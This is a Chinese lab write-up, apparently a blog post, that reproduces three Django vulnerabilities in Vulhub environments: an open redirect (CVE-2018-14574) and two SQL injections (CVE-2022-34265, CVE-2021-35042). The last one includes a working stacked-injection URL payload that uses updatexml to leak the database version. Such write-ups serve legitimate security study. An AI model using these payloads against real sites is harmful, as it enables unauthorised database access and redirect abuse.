Django系列所有漏洞复现vulhubCVE-2018-14574,CVE-2022-34265,CVE-2021-35042


Django < 2.0.8 任意URL跳转漏洞(CVE-2018-14574)

漏洞详情:

Django默认配置下,如果匹配上的URL路由中最后一位是/,而用户访问的时候没加/,Django默认会跳转到带/的请求中。(由配置项中的django.middleware.common.CommonMiddleware、APPEND_SLASH来决定)。

在path开头为//example.com的情况下,Django没做处理,导致浏览器认为目的地址是绝对路径,最终造成任意URL跳转漏洞。

该漏洞利用条件是目标URLCONF中存在能匹配上//example.com的规则。

复现:

访问http://your-ip:8000//www.example.com,即可返回是301跳转到//www.example.com/:
在这里插入图片描述

Django Trunc(kind) and Extract(lookup_name) SQL注入漏洞(CVE-2022-34265)

漏洞详情:

Django在2022年7月4日发布了安全更新,修复了在数据库函数Trunc()和Extract()中存在的SQL注入漏洞。

复现:

环境启动后,你可以在http://your-ip:8000看到一个页面。这个页面使用了Trunc函数来聚合页面点击数量,比如使用http://your-ip:8000/?date=minute即可看到按照分钟聚合的点击量:
在这里插入图片描述
修改date参数即可复现SQL注入漏洞:

http://your-ip:8000/?date=xxxx'xxxx

在这里插入图片描述

Django QuerySet.order_by() SQL注入漏洞(CVE-2021-35042)

漏洞详情:

Django在2021年7月1日发布了一个安全更新,修复了在QuerySet底下的order_by函数中存在的SQL注入漏洞

参考链接:

https://www.djangoproject.com/weblog/2021/jul/01/security-releases/

复现:

环境启动后,访问http://your-ip:8000即可看到Django默认首页。
访问页面http://your-ip:8000/vuln/,在GET参数中构造order=-id,会得到根据id降序排列的结果:

http://your-ip:8000/vuln/?order=-id
在这里插入图片描述
再构造GET参数order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23提交,其中vuln_collection是vuln应用下的模型Collection

http://your-ip:8000/vuln/?order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23

成功注入SQL语句,利用堆叠注入获得信息:
在这里插入图片描述

结束:

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

青衫木马牛

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值